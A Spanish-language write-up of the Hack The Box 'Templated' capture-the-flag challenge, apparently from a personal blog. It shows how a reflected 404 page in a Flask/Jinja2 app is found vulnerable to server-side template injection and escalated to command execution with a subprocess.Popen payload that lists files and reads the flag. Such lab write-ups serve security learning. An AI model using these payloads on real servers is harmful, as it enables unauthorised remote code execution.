Entrada

Write-up Templated [CTF] [Easy] - Hack The Box

Publicación del write-up de sujeto a las guías generales de Hack The Box.

Write-up Templated [CTF] [Easy] - Hack The Box


Mi perfil de Hack The Box: julianglez16

Untitled.png

Al buscar algún directorio web, como por ejemplo el fichero robots.txt, se obtiene un error HTTP 404 con un HTML en el que se muestra un mensaje con el fichero que se acaba de intentar obtener.

Untitled.png

Como se trata de un servidor Flask/Jinja2 y se observa que nuestra búsqueda se muestra en la plantilla HTML se intenta un ataque SSTI con el payload {{ 7 * 7 }} , obteniendo el resultado 49, por lo que se determina vulnerable.

Untitled.png

Para obtener las clases disponibles se utiliza el payload {{ ().__class__.__base__.__subclasses__() }}. El objetivo es utilizar la clase <class 'subprocess.Popen'> para poder ejecutar comandos en la máquina.

Untitled.png

Con el payload {{ ''.__class__.__mro__[1].__subclasses__()[414]('ls -a',shell=True,stdout=-1).communicate()[0].strip() }} se consigue ejecutar el comando ls -a en la máquina obteniendo el nombre del fichero que contiene la flag.

Untitled.png

Finalmente, se utiliza el mismo payload con el comando cat flag.txt para obtener la flag

Untitled.png

Esta entrada está licenciada bajo CC BY 4.0 por el autor.